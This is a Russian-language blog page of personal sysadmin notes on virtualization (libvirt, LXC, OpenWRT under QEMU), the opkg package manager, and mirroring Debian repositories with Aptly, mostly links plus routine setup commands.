https://uzverss.livejournal.com/87945.html

запускается витруальный сетевой интерфейс

sudo virsh net-start default

который можно погасить командой

sudo virsh net-destroy default

посмотреть запущенный вирт.сетевые интерфейсы можно командой

sudo virsh net-list


сами настройки виртуального дефолтного сетевого интерфейса находится в файле
/etc/libvirt/qemu/networks/default.xml

и представляют собой запись



можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:

sudo nano /etc/libvirt/qemu/networks/def1.xml



затем

sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml




Vagrant
https://www.vagrantup.com/
http://help.ubuntu.ru/wiki/vagrant
Знакомимся с инструментом Vagrant
Что такое Vagrant
Начало работы с Vagrant и зачем он вообще нужен
Vagrant. Установка и первый запуск
Установка и использование Vagrant на Debian
Vagrant and Libvirt with KVM or QEMU
Vagrant для малышей, или как на Windows легко получить настроенный сервер для разработки веб-приложений
записки по Vagrant


Qemu-KVM Proxmox oVirt

XEN
https://updates.xcp-ng.org/isos/
http://help.ubuntu.ru/wiki/xen
https://wiki.archlinux.org/index.php/Xen_(Русский)
http://xgu.ru/wiki/Xen
Xen гипервизор
Xen server своими руками. Часть первая
Xen server своими руками. Часть вторая.
Портирование собственной ОС на Xen
Установка и настройка гипервизора Xen (монитора виртуальных машин) с пробросом видеокарты в гостевую ОС (Windows)
Миграция домашнего сервера с Hyper-V на Xen Project на Debian
PT Sandbox Установка ОС и гипервизора Xen на дополнительный узел


Ganeti
http://www.ganeti.org/
http://docs.ganeti.org/ganeti/current/html/install.html
https://dsa.debian.org/howto/install-ganeti/
Управление кластером Xen с помощью Ganeti на Debian Lenny


VMware

Hyper-V
Disk2vhd
Как превратить физический сервер в ВМ на платформе Hyper-V
Переносим Windows системы из физической в виртуальную среду
P2V конвертация физического контроллера домена на базе Windows Server 2012 R2 в виртуальную машину Hyper-V Generation 2
Hyper-V перенос виртуальной машины на другой диск
Экспорт и импорт виртуальной машины Hyper-V
Индекс производительности Windows (Windows Experience Index)

https://github.com/rust-vmm/mshv
https://github.com/hyperlight-dev/hyperlight
https://github.com/cloud-hypervisor/cloud-hypervisor

uzverss powershell команды управления виртуальными машинами

Не удается подключить удаленный рабочий стол к Hyper-V Server 2012 R2
http://it-student.com.ua/windows/tips/reshenie-hyper-v-server-2012-r2-ne-rabotaet-rdp.html

Иногда с чистой установки Hyper-V 2012 Server R2 возникает проблема с удаленным подключением. Проблема заключается в следующе - система установлена, подключения к RDP разрешены, но возникает ошибка при подключении к удаленному рабочему столу.

Проблема заключается в блокировке фаерволом подключений. Для того, чтобы разрешить удаленные подключения к вашему Hyper-V серверу выполните в cmd:

cmd
powershell
Enable-NetFirewallRule

После этого, подключение должно пройти. Если этого не случилось - явно разрешите подключения:

Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-TCP"
Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-UDP"



VirtualBox
https://www.virtualbox.org/
https://download.virtualbox.org/virtualbox/
Удаленный доступ к виртуальной машине virtualbox. Подключение к виртуальной машине
Как установить Windows 11 и Kali Linux на одну флешку
как залить образ с виртуалки на железо
https://github.com/alex5250/replace-tv-os
из .vdi мы сделаем .img образ
VBoxManage clonemedium --format RAW Debian.vdi debian.img
Гружусь с livecd, и сожму основной раздел до 10GB удаляю swap и создаю новый, перезагружаюсь lsblk -f узнаем новые UUID разделов правлю /etc/fstab, опять гружусь в livecd и корректирую размер образа
sudo truncate --size=$[(22978559+1)*512] 'debian.img'
затем подключаюсь к железке двумя флешками, загружаюсь с livecd, заливаю полученный .img с помощью dd




bhyve – The BSD Hypervisor
https://clonos.tekroutine.com/download.html
https://wiki.freebsd.org/bhyve
https://www.bsdstore.ru/ru/bhyve.html
https://www.bsdstore.ru/ru/bhyve_cbsd_howto.html
https://github.com/churchers/vm-bhyve
FreeBSD bhyve виртуализация
Bhyve virtual machines under vm-bhyve
Пчёлки в деле, или Запускаем Windows на BSD Hypervisor
MyBee — FreeBSD ОС и гипервизор bhyve как частное облако
https://myb.convectix.com/download/
https://www.bsdstore.ru/ru/about.html
Гипервизор на стероидах: FreeBSD + ZFS + cbsd


BOSH
http://bochs.sourceforge.net/
https://sourceforge.net/projects/bochs/files/bochs/


WebVM
https://github.com/leaningtech/webvm
https://leaningtech.com/webvm/
WebVM: виртуальные машины x86 без сервера в браузере


OpenNebula
OpenNebula
Строим свое собственное отказоустойчивое облако на базе OpenNebula с Ceph, MariaDB Galera Cluster и OpenvSwitch
Управление облаком на open-source софте
Колыбель облаков


ownСloud
http://help.ubuntu.ru/wiki/owncloud
OwnCloud client для Ubuntu 16.04
Установка owncloud Ubuntu 16.04
Свое облачное хранилище на основе ownCloud
Релиз ownCloud 9.0 — opensource альтернативы Dropbox и другим облачным хранилищам
Как установить OwnCloud на CentOS 7


OpenStack
Знакомство с OpenStack архитектура, функции, взаимодействия
OpenStack — разворачиваем «руками» Kilo
DevStack как инструмент
Боль и страдания Openstack


OpenVZ
https://mirrors.openvz.org/
Руководство по созданию и управлению контейнерами и виртуальными машинами на базе OpenVZ 7
https://www.altlinux.org/OpenVZ
Контейнерная виртуализация при помощи OpenVZ
Виртуализация с OpenVZ
Система виртуализации OpenVZ Часть 1.Введение
Система виртуализации OpenVZ Часть 2.Работаем с контейнерами
Установка и настройка OpenVZ на Centos 6
АйТи бубен OpenVZ


Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов. Часть первая: знакомство с Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов: практический курс. Часть первая
Как создавать образы Docker с помощью Ansible в Ubuntu 20.04
https://github.com/ZeroBot-Dot/Build-Docker-Images-with-Ansible


Kubernetes
https://kubernetes.io/
https://kubernetes.io/ru/docs/home/
https://kubernetes.io/docs/setup/minikube/
https://microk8s.io/#quick-start
Kubernetes
Учебник Kubernetes
Основы Kubernetes
Kubernetes: разбираемся с системой управления контейнерами
Быстрое введение в Kubernetes
Поднимаем кластер Kubernetes из одной ноды под Linux
Kubernetes на голом железе за 10 минут
Установка Kubernetes в Unix/Linux
Kubernetes на голом железе за 10 минут
Разворачиваем Kubernetes на десктопе за несколько минут с MicroK8s
Минимально жизнеспособный Kubernetes
Полноценный Kubernetes с нуля на Raspberry Pi
Разворачиваем среду для работы с микросервисами. Часть 1 установка Kubernetes HA на bare metal (Debian)

PuppetConf 2016. Kubernetes для сисадминов. Часть 1
PuppetConf 2016. Kubernetes для сисадминов. Часть 2
PuppetConf 2016. Kubernetes для сисадминов. Часть 3

DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 1
DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 2

Как эффективнее использовать kubectl: подробное руководство


AWS и Terraform
Установка AWS CLI в Unix/Linux
Установка terraform в Unix/Linux
Работа с AWS ELB через командную строку в Unix/Linux
Работа с AWS S3 через командную строку в Unix/Linux
Работа с AWS EC2 через командную строку в Unix/Linux
Работа с AWS IAM через командную строку в Unix/Linux
Восстановить EC2 данных с AWS snapshot-а

Работа с AWS IAM и Terraform в Unix/Linux
Работа с AWS VPC и Terraform в Unix/Linux
Работа с AWS S3 и Terraform в Unix/Linux
Работа с AWS EC2 и Terraform в Unix/Linux
Работа с AWS ASG(auto scaling group) и Terraform в Unix/Linux
Работа с AWS ELB и Terraform в Unix/Linux
Работа с AWS Route53 и Terraform в Unix/Linux
Работа с AWS RDS и Terraform в Unix/Linux
Работа с AWS SNS и Terraform в Unix/Linux
Работа с AWS SQS и Terraform в Unix/Linux
Работа с AWS KMS и Terraform в Unix/Linux
Работа с AWS NLB и Terraform в Unix/Linux
Работа с AWS CloudWatch и Terraform в Unix/Linux
Работа с AWS ALB и Terraform в Unix/Linux
Работа с AWS MQ broker и Terraform в Unix/Linux
Работа с AWS EFS и Terraform в Unix/Linux


Nomad
https://www.nomadproject.io/
https://github.com/hashicorp/nomad
Начало работы с Nomad

https://podman.io/
https://buildah.io/

Docker

LXC
https://github.com/lxc/lxc
https://linuxcontainers.org/
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/виртуализация/lxc
https://linuxcontainers.org/ru/lxc/
https://ivirt-it.ru/tag/lxc/
https://ivirt-it.ru/lxc-linux-containers-tutorial/
LXC 1.0.
LXD 2.0.
LXC – шпаргалка по командам (утилитам)
Введение в систему управления контейнерами LXC
Контейнеризация при помощи LXC
Туториал по контейнеризации при помощи LXC
LXC для разработчика
Linux-контейнеры дома: зачем и как
Установка и настройка LXC на Debian 8
Создание LXC-контейнеров с общей файловой базой
Установка и настройка LXC в CentOS 7
Установка и настройка LXC на Centos7
Установка и настройка lxc контейнеров на Centos 7
Работа с LXC-контейнерами в Ubuntu Linux
Как настроить непривилегированный контейнер LXC без перезагрузки?
Запуск Docker в LXC 2

LXC Web Panel improved for lxc

Первый контейнер.
http://vasilisc.com/lxc-1-0-first-ubuntu-container
Предположим, что вы так или иначе используете последнюю версию LXC, хотелось бы верить что применяя пакеты deb.

Создаём контейнер p1, используя шаблон ubuntu и такую же архитектуру и версию как и хост. Использование "-- --help" выведет список всех доступных опций.
sudo lxc-create -t ubuntu -n p1

Запуск контейнера в фоне.
sudo lxc-start -n p1 -d

Вход в контейнер одним из различных путей:

Присоединение к консоли контейнера (ctrl-a + q для отсоединения)
sudo lxc-console -n p1
Запуск bash напрямую в контейнере, минуя логин. Требуется ядро >= 3.8.
sudo lxc-attach -n p1
SSH в контейнер. Логин ubuntu, пароль ubuntu.
sudo lxc-info -n p1
ssh ubuntu@IP-из-lxc-info

Остановка контейнера одним из различных путей:

Остановка контейнера из самого контейнера.
sudo poweroff
Корректная остановка контейнера из хоста.
sudo lxc-stop -n p1
Грубое убийство контейнера из хоста.
sudo lxc-stop -n p1 -k
Вот и готов первый контейнер. Как и обещано, в Ubuntu - всё просто! Ядра обладают поддержкой всего что нужно для LXC и контейнер использует bridge и DHCP по умолчанию


эмуляторы
https://www.winehq.org/
http://www.kegel.com/wine/winetricks
https://www.codeweavers.com/products/
https://www.playonlinux.com/en/
http://etersoft.ru/products/wine
------------------------------------------------------------------------
https://anbox.io/
https://www.darlinghq.org/
------------------------------------------------------------------------
https://www.cygwin.com/
https://babun.github.io/
http://mingw.org/
https://sourceforge.net/p/mingw-w64/wiki2/MSYS/
http://mingw-w64.org/doku.php
https://www.msys2.org/
https://github.com/msys2
http://gnuwin32.sourceforge.net/
https://blogs.msdn.microsoft.com/wsl/
https://github.com/microsoft/WSL
https://code.google.com/archive/p/microemu/downloads

Установка MinGW/MSYS и настройка окружения для разработчика
Устанавливаем эмулятор Android 7.1 под Kali Linux
Запуск Java-приложений для телефона в Ubuntu
j2me в ubuntu

разное
Сеть однородных линуксов [reoser]
Микрооблако. Второй шаг. Создание виртуальной сети
Загрузка Linux с VHD на компьютере с UEFI
Проект VBEMP 9x Универсальный VESA/VBE Видеодрайвер (для архитектуры Windows 9x)

для того чтобы скачать просто выполните эту команду:

wget linux-notes.org/wp-content/uploads/scripts/web-host-setup.sh

Нужно открыть сприпт и перед его запуском ознакомится и немного поправить.
сам скрипт



http://linux-notes.org/skript-dlya-ustanovki-veb-servera-na-centos-skachat/



посмотреть
очистка от предыдущей версии



(глянуть что сносит и нужное поставить опять)

можно конечно воспользоваться ppa:




добавление ppa репозитория в debian
как добавить ключ репозитория в debian или ubuntu
Добавление ключей репозитория, когда другие способы не помогли

добавить недостающие ключи




но мы пойдём другим путём:




или как сделано тут Простой способ установки самой новой версии LibreOffice на Linux




Краткая памятка по работе с архиваторами из консоли в Linux

поскольку нам необходимо чтобы программы LOO завускались из консоли, то добавим переменную в $PATH




проверим наличие




и создадим пакет, в котором будут ссылки на программы из /opt/libreoffice6.0/program/

структура пакета
DEBIAN/control и opt/libreoffice/bin/файлы




в каталоге /opt/libreoffice/bin будут лежать файлы следующего содержания:



делаем файлы исполняемыми




в случае изменения версии LOO




делаем бинарик для каждой программы из каталога




готовим пакет




вот результат, забирайте

этот пакет нужен если возникнет желание воспользоваться libreoffice в консоли, напр. для конвертации

libreoffice --headless --convert-to pdf:writer_pdf_Export --outdir $HOME/tmp/convert *.html

оптимизация pdf

http://linux-notes.org/poisk-i-zamena-slov-v-fajlah-linux/
http://forum.ubuntu.ru/index.php?topic=171497.0



ознакомиться
https://openwrt.org/
https://lede-project.org/
https://librecmc.org/
https://www.dd-wrt.com/site/support/router-database
https://dd-wrt.com/wiki/index.php/Supported_Devices

https://wiki.openwrt.org/start
https://wiki.openwrt.org/doc/uci
Настройка OpenWrt с помощью UCI

Обзор альтернативных прошивок домашних роутеров

https://wiki.openwrt.org/ru/start
Команды операционной системы OpenWRT
Восстановление настроек openwrt в исходное состояние и failsafe mode

OpenWRT — дружба с DIR-300 B5, B6 и B7

Установка OpenWrt в VirtualBox
uzverss первый запуск OpenWRT на QEMU

сервер samba usb внешний hdd торрент радио видео
Миникомпьютер из роутера с OpenWRT: пишем драйвер фреймбуфера
Как сделать портативный ремонтный сервер
OpenWRT, или Что еще можно сделать со своим роутером
OpenWrt + внешний HDD + Transmission + Samba
Установка и настройка samba в openwrt
Одновременное подключение usb-флешки и usb-hdd в openwrt
OpenWRT — Монтируем BtrFS

Видеонаблюдение своими руками с программой motion detection (обнаружение движения) на openwrt (linux)
Подключение веб-камеры в openwrt

OpenWRT — Ретрансляция онлайн-радио

сеть vlan wi-fi
Настройка сети в OpenWRT
Открытие доступа на openwrt из интернета
Настройка WiFi на OpenWRT
dyndns на openwrt подключение в качестве wifi клиента
Быстрый роуминг (802.11r) в WiFi сети на базе Lede (aka OpenWRT)
настройка vlan
OpenWRT(с OpenVPN) на TL-WR740N. Как добавить vlan.

VPN
https://wiki.openwrt.org/doc/howto/vpn.ipsec.basics

Кошерная организация туннелей в OpenWRT

Поднимаем VPN-туннель из мира домой в обход NAT
OpenWRT — OpenVPN и маршрутизация
OpenVPN Client Setup
IPsec Site To Site Using Openswan
Подключение к провайдеру используя L2TP с Dual Access
https://support.aa.net.uk/L2TP_Client:_OpenWRT
https://wiki.strongswan.org/projects/strongswan/wiki/OpenWrtUCI
L2TP Туннель между роутером с OpenWRT и Mikrotik RB951G-2HnD
Настройка L2TP-соединения (провайдер «Гарант», г.Гомель) в OpenWRT
OpenWrt + L2TP Beeline
https://wiki.debian.org/ru/OpenL2TP
Настройка L2TP/IPSec PSK Туннеля под OpenWRT (Linux), настройка клиентов, в частности Windows 7
https://linux.die.net/man/5/ipsec.conf
Быстрая настройка l2tp на openwrt beeline
OpenWRT l2tp
luci-app-ipsec-vpnd
доп репозиторий с ipsec l2tp
Instalacja ipsec/l2tp (strongswan4 + xl2tpd) na OpenWRT działa z Androidem
https://hide.me/en/vpnsetup/ubuntu/ikev2/
Openwrt - openvpn сервер настройка
Как предоставить доступ для всех устройств из локальной сети к VPN

Обход DPI провайдера на роутере с OpenWrt, используя только busybox
Исследуем «Ревизор» Роскомнадзора

ПО пакеты ipk opkg сборка и управление
https://git.openwrt.org/
https://github.com/openwrt/
https://openwrt.org/packages/start
https://downloads.openwrt.org/releases/
https://oldwiki.archive.openwrt.org/doc/devel/feeds

https://openwrt.org/ru/doc/devel/packages # Создание пакетов
OpenWrt build system – Installation
Пошаговая прошивка OpenWRT на роутер TP-LINK TL-WR741ND из Windows
OpenWRT — восстановление прошивки
LEDE — Сборка из исходников
OpenWRT — сборка в Debian 9 «Stretch»
OpenWRT — Сборка из исходников
Сборка OpenWrt/LEDE из исходных кодов 4PDA
Руководство по уменьшению размера прошивки OpenWRT
Менеджер пакетов opkg. Offline инсталляция пакетов в образ корневой файловой системы
Как устанавливать пакеты приложений?
Кросс компиляция прошивки OpenWRT и пакетов на Ubuntu
Компиляция/портирование своей программы под OpenWRT

Управление пакетами с помощью менеджера пакетов Opkg
управление пакетами из консоли осуществляется с помощью менеджера пакетов OPKG, преемник старого менеджера пакетов ipkg.

Данный менеджер пакетов позволяет установливать, обновлять и удалять отдельные программные пакеты, разрешает зависимости между пакетами и выводить список установленного программного обеспечения. Учитывая, что в Dreambox используется именно этот пакетный менеджер, сделал для себя памятку по командам opkg...


usage: opkg [options...] sub-command [arguments...]

Управление пакетами:


    update             Обновление списка пакетов
    upgrade            Обновление установленных пакетов
    install            Установка пакета (пакетов)
    configure          Конфигурирование (сборка) распакованного пакета
    remove             Удаление пакета (пакетов)
    flag               Флажки для пакетов
     =hold|noprune|user|ok|installed|unpacked

Информация о пакетах:


    list                   Список доступных пакетов
    list-installed         Список установленных пакетов
    list-upgradable        Список установленных и доступных для обновления пакетов
    files                  Список файлов, принадлежащих пакету 
    search                 Поиск
    info [pkg|regexp]      Показать всю информацию по пакетам
    status [pkg|regexp]    Показать все статусы пакетов 
    download               Скачивание в текущую директорию
    compare-versions   
                          Сравнение версий с помощью = = 
    print-architecture    Список архитектуры устанавливаемого пакета
    whatdepends [-A]    [pkgname|pat]+
    whatdependsrec [-A] [pkgname|pat]+
    whatprovides [-A]   [pkgname|pat]+
    whatconflicts [-A]  [pkgname|pat]+
    whatreplaces [-A]   [pkgname|pat]+

Опции:


    -A                Запрос всех пакетов - не только тех, что установлены
    -V[]              Уровень вывода
    --verbosity[=]
                       0 - только ошибки
                       1 - нормальный уровень (по умолчанию)
                       2 - информационные сообщения
                       3 - дебаг
                       4 - дебаг (2й уровень)
    -f                Использовать в качестве файла конфигурации opkg
    --conf 
    --cache           Использование кэша пакетов
    -d                Использовать в качестве корневого каталога для
    --dest            установки пакета, обновления или удаления.
    -o                Использовать в качестве корневого каталога для
    --offline-root    автономной установки пакетов.

Принудительные опции:


    --force-depends        Установить/удалить, несмотря на зависимости
    --force-maintainer     Перезапись существующих конфигурационных файлов
    --force-reinstall      Переустановка пакет(ов)
    --force-overwrite      Замена файлов новыми
    --force-downgrade      Откат пакета
    --force-space          Не проверять свободное место
    --noaction             Просто тестирование (никаких действий)
    --download-only        Просто скачивание (никаких действий)
    --nodeps               Не уставнавливать зависимости
    --force-removal-of-dependent-packages
                           Удаление пакета(ов) и всех зависимостей
    --autoremove           Удаление пакета(ов), которые установлены лишь
                           удовлетворения зависимостей
    -t                     Определение tmp-директории
    --tmp-dir              Определение tmp-директории

Примеры использование:


$ opkg list_installed | grep gcc
libgcc1 - 4.3.3-r17.1.6

$ opkg list | wc -l
17698
$ echo 'src/gz angstrom-base httр://www.аngstrom-distribution.org/feеds/unstаble/ipk/glibc/armv7a/
base'  > /etc/opkg/angstrom-base.conf
$ opkg update
...
$ opkg list | wc -l
21755


Mikrotik
Запуск OpenWRT 14.07 на Mikrotik и пример сборки Аsterisk c дополнительным модулем
Common Procedures for Mikrotik RouterBoard Products
OperWRT на MetaROUTER Mikrotik
Виртуальная машина MetaROUTER и запуск OpenWRT на маршрутизаторах Mikrotik
Instalace OpenWRT do Mikrotik RouterBOARD 512
OpenWRT on Mikrotik Routerboard 411/750
GETTING SHELL ON A ROUTERBOARD

OpenWRT em Mikrotik Routerboard 750 (Linux on MIPS AR7xxx/AR9xxx)
https://wiki.openwrt.org/toh/mikrotik/start

Видео
------------------------------------------------------------------------
Вернуть стандартную прошивку роутера вместо OpenWrt
https://www.youtube.com/watch?v=WNTftKOJfAs
https://www.youtube.com/watch?v=Cb-xNex7W38
------------------------------------------------------------------------
Установка и настройка OpenWRT под Beeline на роутер TP-Link TL-WDR4300
https://www.youtube.com/watch?v=wm0ZYj74yrQ
------------------------------------------------------------------------
мост на openwrt для хялявного инета
https://www.youtube.com/watch?v=pCCKR1zJtNw
------------------------------------------------------------------------
Интернет через роутер с Linux (OpenWRT, MR3220)
https://www.youtube.com/watch?v=GuhAGVJDLVQ
------------------------------------------------------------------------
Настройка multiwan на openwrt
объединить два интернет канала от разных провайдеров в один.
https://www.youtube.com/watch?v=oNLss7btnP4
------------------------------------------------------------------------
configure OPENWRT as access point
https://www.youtube.com/watch?v=bG_Tyk6AGaM
------------------------------------------------------------------------




1) скачивается образ отсюда




2) запускается витруальный сетевой интерфейс

sudo virsh net-start default

который можно погасить командой

sudo virsh net-destroy default

посмотреть запущенный вирт.сетевые интерфейсы можно командой

sudo virsh net-list


сами настройки виртуального дефолтного сетевого интерфейса находится в файле
/etc/libvirt/qemu/networks/default.xml

и представляют собой запись



можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:

sudo nano /etc/libvirt/qemu/networks/def1.xml



затем

sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml


3) В Virtual Machine Manager выбирается "Импорт существующего диска" и ставится чекбокс "изменить настройки перед установкой".

В Видео выбирается модель VGA, добавляется несколько виртуальных сетевых интерфейсов и выбирается модель virtio, также желательно добавить дополнительный виртуальный жёсткий диск, 300 - 500 Мб более чем достаточно

4) после загрузки необходимо сконфигурировать выход в сеть, для этого необходимо внести правку в файл /etc/config/network
поскольку в запущенном ранее дефолтном витр. сетевом интерфейсе ip address="192.168.122.1" то и настройки будут соответствующие


vi /etc/config/network




чтобы применить изменения необходимо выполнить команду

/etc/init.d/network restart


чтоб не забыть, команды vi




5) после всего этого в OpenWRT можно получить доступ через телнет
telnet 192.168.122.5 или открыв в браузере адрес http://192.168.122.5

в случае успеха обновить пакеты

opkg update

или поставить mc

opkg install mc

Для правильной работы MC, перед запуском нужно выполнить:

export TERMINFO="/usr/share/terminfo"
export TERM="xterm"
mc


Но что бы каждый раз не писать эти строчки перед запуском, то лучше прописать их в файле profile:

vi /etc/profile
export TERMINFO=/usr/share/terminfo
export TERM=xterm


opkg list покажет всё что можно установить ещё

после всех этих действий необходимо сменить пароль командой passwd
если, после неоднократных экспериментов, возникнет ошибка
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! то

ssh-keygen -f "$HOME/.ssh/known_hosts" -R 192.168.122.5

Прочие действия:

если возникнет необходимость увеличить файл образа, то

truncate --size=+50M Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

затем нужно добавить раздел, в увеличенную область (при увеличении существующей будут ошибки)

sudo parted Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

но удобней сделать так:

sudo losetup -f Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img
sudo losetup -a Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

sudo gparted /dev/loop0

sudo losetup -d /dev/loop0

после манипуляций, завустить и зайти по ssh

ssh root@192.168.122.5

и установить нужное




затем сгенерировать fstab





отредактировать fstab

vi /etc/config/fstab




(это тоже пригодится)
mkswap -f -L swap /dev/sda2
mkfs.ext4 -L over /dev/sda1
-L присвоение label
"swap" - метка для /dev/sda2
"over" - метка назначается разделу /dev/sda1

reboot
после перезагрузки




установка pip

wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py

ошибка
wget: can't execute 'openssl': No such file or directory

opkg install ca-certificates openssl-util libustream-openssl

python3 get-pip.py

ошибка
distutils.errors.DistutilsPlatformError: invalid Python installation: unable to open /usr/lib/python3.4/config-3.4/Makefile (No such file or directory)

этот способ работает:




если возникает ошибка
OSError: [Errno 28] No space left on device

то
cd /tmp/; rm -r *

установка всех вышеперечисленных пакетов одной командой:



PS
помучившись с кучей косяков (utf8, шрифты в консоли и тд), понял, что лучше так:

https://lede-project.org/





запускаем и настраиваем, затем ставим python и pip
opkg update; opkg install libopenssl libustream-openssl mc python3

wget https://bootstrap.pypa.io/get-pip.py

настройка vlan
Как устанавливать пакеты приложений?
OpenWRT(с OpenVPN) на TL-WR740N. Как добавить vlan.
Команды операционной системы OpenWRT

PPS
в случае с древними версиями openwrt, например attitude_adjustment в которой есть пакет openswan, нужный ради старых настроек ipsec, необходимо кроме настроек интернета, также разрешить порты iptables, по умолчанию в котором всё блокировано, настроим интернет

vi /etc/config/network



/etc/init.d/network restart

затем фрайвол

vi /etc/firewall.user



/etc/init.d/firewall restart

в QEMUvirt-manager соответственно) при использовании старых релизов openwrt, в настройках виртуальных сетевых интерфейсов вместо модели virtio выбирается pcnet или ne2k_pci, драйверов virtio в них нет


https://wiki.openwrt.org/doc/howto/wget-ssl-certs
https://forum.arduino.cc/index.php?topic=347224.15
https://wiki.openwrt.org/ru/doc/uci/fstab
https://www.stableit.ru/2012/06/kvm-ext4.html
https://wiki.openwrt.org/ru/doc/howto/extroot
http://cyber-place.ru/showthread.php?t=371&page=3
Настройка сети в OpenWRT
Открытие доступа на openwrt из интернета
Управление виртуальными машинами с помощью virsh
Создаем изолированную сеть для виртуальных машин KVM
Работа с KVM в Debian или Ubuntu из командной строки
uzverss работа с сетевыми интерфейсами


xdg-utils для своей работы использует конфигурационные файлы расположенные в ~/.local/share/applications/. В данной директории есть файл mimeapps.list это список пользовательских типов, в него необходимо внести только одну строку:
Read more... )
https://habrahabr.ru/sandbox/110020/

Возникла необходимость фиксировать локальный репозиторий разработчиков на конкретную дату, сравнивать эти состояния, откатываться назад и возвращаться к текущему состоянию, публиковать нужную версию.
Для этой цели отлично подошел продукт под названием Aptly.
развернуть
Принцип работы таков:

  • создается зеркало локального репозитория;

  • фиксируется текущее состояие созданием снмка (snapshot);

  • cнимки могут быть объеденены между собой (merge), сравнены (diff) и прочее;

  • публикуется выбранный снимок.




Очень хорошая, понятная документация на самом официальном сайте проекта: http://www.aptly.info/doc/overview/

Установка Aptly на Ubuntu 14.04:


Так как в основном репозитории Ubuntu нет пакета Aptly, для начала добавьте репозиторий разработчика в /etc/apt/sources.list прямым редактированием файла добавив в конец строку:

deb http://repo.aptly.info/ squeeze main

или выполнив команду:

# add-apt-repository 'deb http://repo.aptly.info/ squeeze main'

Не беспокойтесь на счет squeeze в названии репозитория: пакет Aptly будет работать на Debian squeeze+, Ubuntu 10.0+

Импортирйте ключ для репозитория:

# gpg --keyserver keys.gnupg.net --recv-keys 2A194991
# gpg -a --export 2A194991 | sudo apt-key add -

После этого можно устанавливать Aptly как любой другой пакет:

# apt-get update
# apt-get install aptly

установяться так же и зависимости: bzip2, gnupg and gpgv.

В целях безопасности команды aptly не следует выполнять из-под учетной записи root. Для этих целей создайте нового пользователя, например:

# adduser repokeeper

и залогиньтесь под ним:

# su repokeeper

Далее сгенерируйте gpg ключ для подписи своего репозитория. Делать это нужно именно из под учетной записи того пользователя, от имени которого впоследствии будут публиковаться снимки:

# gpg --gen-key

Если интропия вашкго компьютера достаточна, а именно более 800, то ключ благополучно сгенерируется. Сохраните пароль ключа в надежном месте.

Посмотреть уровень текущей интропии можно открыв еще одну консоль и выполнив:

cat /proc/sys/kernel/random/entropy_avail

Если долго ничего не происходит и вываливается ошибка:



это означает, что ваш компьютер бездействует и уровень интропии недостаточен.
Запустите какой-нибудь длительный тяжелый процесс на сервере, что бы его нагрузить или запустите в соседней консоли:

# cat /dev/urandom > randomfile

подождите пару минут, чтобы на диске создался файл приличного размера, затем прервите операцию нажав Ctrl+C.
Далее выполните:

# dd if=random of=/dev/null iflag=direct

и снова смотрите в файл /proc/sys/kernel/random/entropy_avail. В какой-то момент уровень энтропии поднимется до 800 и GPG сможет сгенерировать свой ключ.
Сохраните ключ в надежном месте. Для этого заархивируйте файл .gnupg в домашнем каталоге пользователя repokeeper и скопируте его для хранения или передачи иному пользователю.

# tar -czvf gnupg.tar.gz ~/.gnupg

На этом установка aptly закончена.

Настройка и работа с Aptly


Создание зеркала

Допустим имеется репозиторий разработчиков, который надо поставить на контроль версий публикуемых пакетов и вести его мониторинг. Для этого на нашем сервере с помощью установленного пакета Aptly создадим зеркало исходного репозитория разработчиков.
Перед созданием зеркала, сначала нужно импортировать открытый ключ удаленного репозитория в хранилище ключей:

# wget -O - http://repo.dev.domain.ru/repo.gpg.key | gpg --no-default-keyring --keyring trustedkeys.gpg –-import

Основной конфиг создайте из автосоздаваемого ~/aptly.conf в /etc/aptly.conf с указанием корневого каталога. В домашней папке конфиг удалите. Дело в том, что aptly сначала ищет конфигурационный файл в домашнем каталогк, затем в директории /etc.
Содержание файла aptly.conf:

cat /etc/aptly.conf



Создайте зеркало нужной ветки:

# aptly mirror create -architectures=amd64 repo-precise-1-main http://repo.dev.domain.ru/repo precise-1 main

где repo-precise-1-main произвольное имя нашего зеркала.
Aply любезно сообщит, что можно сделать дальше: "You can run 'aptly mirror update repo-precise-1-main' to download repository contents."

Запустите обновление зеркала:

# aptly mirror update repo-precise-1-main

Файлы сохраняются в rootdir/.aptly/pool/ в нашем случае в /var/cache/aptly/pool

Информация о зеркале:

# aptly mirror show repo-precise-1-main

Редактировать зеркало:

# aptly mirror edit -architectures="i386,amd64" repo-precise-1-main

Создание снимка (snapshot)


Создайте snapshot:

# aptly snapshot create repo-precise-1-main-20150505 from mirror repo-precise-1-main
где repo-precise-1-main-20150505 произвольное имя снимка.

Снэпшот не занимает дополнительного места на диске, хранит только список пакетов.
Можно создавать снэпшот в любое время. Затем можно объеденить (MERGE) несколько снепшотов в один с разной стратегией (Flag -latest chooses merge strategy: package with latest version “wins”):

# aptly snapshot merge -latest wheezy-final-20141009 wheezy-main-7.6

Проверка:

# aptly package show -with-references 'Name (nginx)'

Посмотреть список снепшотов:

# aptly snapshot list

Сравнить снепшоты:



Публикация снепшота


Опубликовать репозиторий из снепшота:

# aptly publish snapshot -architectures="i386,amd64" repo-precise-1-main-20150506

Указание -architectures="i386,amd64" обязательно, несмотря на то, что в документации сказано, что по умолчанию публикуются все доступные архетектуры.

При запросе ввести пароль (2 раза) от ключа GPG созданного ранее.
Если публикуется объедененный снепшот, то имя ветки нужно указать явно, например:

# aptly publish snapshot -distribution=wheezy wheezy-final-20141009

Посмотреть какой снепшот опубликован на текущий момент:

# aptly publish list

Сравнить с предыдущим снепшотом:

# aptly snapshot diff repo-precise-1-main-20150505 repo-precise-1-main-20150506-1

При наличии изменений опубликовать новый снепшот вместо предыдущего:

# aptly publish switch precise-1 repo-precise-1-main-20150506-1

При запросе ввести пароль (2 раза) от gpg ключа.

